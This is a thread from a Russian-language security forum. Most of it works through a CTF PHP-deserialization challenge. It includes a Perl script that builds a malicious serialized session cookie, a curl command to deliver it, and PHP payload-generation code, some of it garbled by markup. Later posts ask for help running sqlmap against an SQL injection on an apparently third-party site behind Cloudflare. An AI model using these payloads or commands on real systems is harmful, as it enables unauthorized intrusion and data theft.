HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1641  
Старый 19.01.2017, 20:55
t0ma5
Guest
Сообщений: n/a
Провел на форуме:
300820

Репутация: 90
По умолчанию

Цитата:
Сообщение от crlf  
crlf said:

Затянуло меня это задание, второй день копаюсь
Но скила не хватает, правильно ли я понимаю, что главная фишка в поведении ArrayAccess?
не то слово, я пару дней спать нормально не могу.. забрался далеко, но не достаточно(

всё верно, фишка в ArrayAccess, маппер, который в конструкторе класса User

Код:
Code:
public function __construct() {
        parent::__construct($this, array(
            'id'   => array('type' => 'function', 'target' => 'id'),
            'name' => array('type' => 'function', 'target' => 'name')
        ));
    }
определяет какая функцию этого класса будет вызвана, причем передавать параметры в вызов мы не можем, ибо вызов у нас один в файле demo.php

Код:
Code:
$name = $user->name; // Getting the current user name
маппер передаётся сериализованным от клиента, другими словами мы можем подделать вызов функции на нужную переопределив вызываемый класс, он хранится в GenericMapper( который отнаследован от ArrayAccess ) $this->realObject

чего я смог добиться... отправляю класс User и класс Debug

в дебаг классе переопределяю переменную debugStateName с _DEBUG на flag, затем вызываю через модифицированный маппер функцию debugStateName( которая в debug классе )

Код:
Code:
public function getDebugState() {
        return $GLOBALS[$this->debugStateName];
    }
в итоге мы получаем в $name флаг

Код:
Code:
$name = $user->name; // Getting the current user name
но подвох в том что $name нигде не выводится

конечно мы можем вызвать showNice или show из дебаг класса, но вызов то подменить мы можем только один..

в общем я пока сам в тупике, могу скинуть рабочую версию скрипта, если нужно, который прокидывает в $name флаг
 
Ответить с цитированием

  #1642  
Старый 19.01.2017, 21:06
t0ma5
Guest
Сообщений: n/a
Провел на форуме:
300820

Репутация: 90
По умолчанию

не могу понять где просчитался, что то упустил, в общем скрипт в спойлере если что

.SpoilerTarget" type="button">Spoiler

Код:
Code:
добавил var_dump в своей копии

$ cat demo.php | grep -B 3 var_dump
// Pull request are welcome.

$name = $user->name; // Getting the current user name
var_dump($name);

$ grep -rn flag all.php
10:$flag = 'FLAG-XXXXXXXXXXXX'; // Place your precious flag here !

сам скрипт

#!/usr/bin/perl

use strict;
use warnings;
use MIME::Base64;

my $str = '
O:7:"Session":4:{
        s:2:"id";s:13:"587e46015cc88";
        s:5:"debug";O:5:"Debug":1:{s:21:"QQQDebugQQQdebugStateName";s:4:"flag";}
        s:4:"user";O:4:"User":5:{
                s:10:"QQQUserQQQname";s:4:"zzzz";
                s:8:"QQQUserQQQid";s:2:"qq";
                s:24:"QQQGenericMapperQQQtempValue";s:8:"showNice";
                s:18:"QQQGenericMapperQQQmap";a:3:{
                                    s:2:"id";a:2:{s:4:"type";s:8:"function";s:6:"target";s:2:"id";}
                                    s:4:"name";a:2:{s:4:"type";s:8:"function";s:6:"target";s:13:"getDebugState";}
                                    s:13:"getDebugState";a:2:{s:4:"type";s:8:"function";s:6:"target";s:13:"getDebugState";}
                                 }
                s:25:"QQQGenericMapperQQQrealObject";r:3;

                   }
        s:4:"data";a:0:{}
      
        }
';

$str =~s/[\s\n]//g;
$str =~s/QQQ/\0/g;
$str = encode_base64($str,'');
$str =~s/=/%3D/g;
$str =~s/\+/%2B/g;
unless($str=~/[a-zA-Z0-9\%]+/)
{ print "hmmm\n$str\n";exit;}

#print "curl -s -k 'http://ringzer0team.com:10001/demo.php' -H 'Cookie: rop_session=$str' -H 'Authorization: Basic Y3RmOmN0ZjIwMTU='\n";
print "curl -s -k 'http://my-site-name.ru/demo.php' -H 'Cookie: rop_session=$str'\n";

вызов

~/quest$ perl rop2.pl | /bin/bash | grep FLAG
string(17) "FLAG-XXXXXXXXXXXX"
 
Ответить с цитированием

  #1643  
Старый 19.01.2017, 21:06
crlf
Guest
Сообщений: n/a
Провел на форуме:
169212

Репутация: 441
По умолчанию

Цитата:
Сообщение от t0ma5  
t0ma5 said:

в общем я пока сам в тупике, могу скинуть рабочую версию скрипта, если нужно, который прокидывает в $name флаг
Я точно в таком же положении От безнадёги перешёл в режим рандома, пока безрезультатно.

Обратил внимание ещё на один момент, switch идёт без break-ов, если $type = 0;, в функции __set отработют оба кейса 'function' и 'property'. Пока не пойму имеет ли это какое либо отношение к цепочке.

Таск действительно крутой, будем думать дальше
 
Ответить с цитированием

  #1644  
Старый 19.01.2017, 21:10
t0ma5
Guest
Сообщений: n/a
Провел на форуме:
300820

Репутация: 90
По умолчанию

Цитата:
Сообщение от crlf  
crlf said:

switch
идёт без
break
-ов, если $type = 0;, в функции
__set
отработют оба кейса 'function' и 'property'.
да ладно! ёмана это оно

попробую с этим похимичить

-------------------

хотя __set непонятно как вызвать..
 
Ответить с цитированием

  #1645  
Старый 19.01.2017, 22:37
foozzione
Guest
Сообщений: n/a
Провел на форуме:
19301

Репутация: 0
По умолчанию

Цитата:
Сообщение от kacergei  
kacergei said:

sqlmap что выдает? sqlmap.py -u "URL" ............. -v 5
Посмотри в каких случаях выкидывает 403, смотри что фильтруется
там cloudflare стоит, который новых юзеров держит 5 секунд перед заходом на сайт, есть решение?
 
Ответить с цитированием

  #1646  
Старый 20.01.2017, 02:10
crlf
Guest
Сообщений: n/a
Провел на форуме:
169212

Репутация: 441
По умолчанию

Цитата:
Сообщение от t0ma5  
t0ma5 said:

хотя __set непонятно как вызвать..
У меня в тестовом скрипте жёсткая каша, хрен разберёшь Побыстрому накидал небольшой скрипт для вызова __get/__set,надеюсь разберёшься:

.SpoilerTarget" type="button">Spoiler

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]map[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$map[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]realObject[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$realObject[/COLOR][COLOR="#007700"];
}

public function
[/COLOR][COLOR="#0000BB"]__set[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]) { }

public function
[/COLOR][COLOR="#0000BB"]__get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]) { }

public function
[/COLOR][COLOR="#0000BB"]offsetExists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]) {
return isset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]map[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]]);
}

public function
[/COLOR][COLOR="#0000BB"]offsetUnset[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]) {
throw new[/COLOR][COLOR="#0000BB"]Exception[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Not supported !'[/COLOR][COLOR="#007700"]);
}

public function
[/COLOR][COLOR="#0000BB"]offsetSet[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]) {
return[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]__set[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]);
}

public function
[/COLOR][COLOR="#0000BB"]offsetGet[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]) {
return[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]__get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]);
}
}
class[/
COLOR][COLOR="#0000BB"]Debug[/COLOR][COLOR="#007700"]{
private[/COLOR][COLOR="#0000BB"]$debugStateName[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'flag'[/COLOR][COLOR="#007700"];
private[/COLOR][COLOR="#0000BB"]$_instance[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'ccc'[/COLOR][COLOR="#007700"];
}
class[/
COLOR][COLOR="#0000BB"]User[/COLOR][COLOR="#007700"]extends[/COLOR][COLOR="#0000BB"]GenericMapper[/COLOR][COLOR="#007700"]{

private
[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'aaa'[/COLOR][COLOR="#007700"];
private[/COLOR][COLOR="#0000BB"]$id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'bbb'[/COLOR][COLOR="#007700"];

public function
[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$realObject[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$map[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]parent[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$realObject[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$map[/COLOR][COLOR="#007700"]);
}
}
class[/
COLOR][COLOR="#0000BB"]Session[/COLOR][COLOR="#007700"]{ }
[/
COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Session[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]User[/COLOR][COLOR="#007700"](new[/COLOR][COLOR="#0000BB"]Debug[/COLOR][COLOR="#007700"], array([/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]=> array([/COLOR][COLOR="#DD0000"]'type'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'function'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'target'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'showNice'[/COLOR][COLOR="#007700"])));
echo[/
COLOR][COLOR="#DD0000"]"\n__get:\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]urlencode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]base64_encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]serialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"]))).[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]User[/COLOR][COLOR="#007700"](new[/COLOR][COLOR="#0000BB"]Debug[/COLOR][COLOR="#007700"], array([/COLOR][COLOR="#DD0000"]'user'[/COLOR][COLOR="#007700"]=> array([/COLOR][COLOR="#DD0000"]'type'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'function'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'target'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'showNice'[/COLOR][COLOR="#007700"])));
echo[/
COLOR][COLOR="#DD0000"]"\n__set:\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]urlencode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]base64_encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]serialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"]))).[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]?>
[/COLOR][/COLOR] 
 
Ответить с цитированием

  #1647  
Старый 20.01.2017, 03:34
foozzione
Guest
Сообщений: n/a
Провел на форуме:
19301

Репутация: 0
По умолчанию

вопрос: Есть скуля, в пост запросе, вызываю

Код:
Code:
./sqlmap.py --url "http://site.ru/" --data "input1=admin@admin.ru" --random-agent --dbms=mysql
но sqlmap ее не находит, что бы раскрутить, если отправляю в ручную, к примеру admin@admin.ru' скуля срабатывает.

Есть решения?
 
Ответить с цитированием

  #1648  
Старый 20.01.2017, 03:43
erwerr2321
Guest
Сообщений: n/a
Провел на форуме:
759330

Репутация: 147
По умолчанию

Цитата:
Сообщение от foozzione  
foozzione said:

Есть решения?
Попробуй так!

./sqlmap.py -u http://site.ru/ --data="input1=admin@admin.ru" --dbs --random-agent --dbms=mysql
 
Ответить с цитированием

  #1649  
Старый 20.01.2017, 04:01
foozzione
Guest
Сообщений: n/a
Провел на форуме:
19301

Репутация: 0
По умолчанию

Цитата:
Сообщение от ms13  
ms13 said:

Попробуй так!
./sqlmap.py -u
http://site.ru/
--data
=
"input1=
admin@admin.ru
" --dbs --random-agent --dbms=mysql
аналогично
 
Ответить с цитированием

  #1650  
Старый 20.01.2017, 04:06
erwerr2321
Guest
Сообщений: n/a
Провел на форуме:
759330

Репутация: 147
По умолчанию

Цитата:
Сообщение от foozzione  
foozzione said:

аналогично
Ага, а что говорит...?

Ты извини, я тут приболел немного - гриппую, и, видимо, от этого мои телепатические способности угасли резко...
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ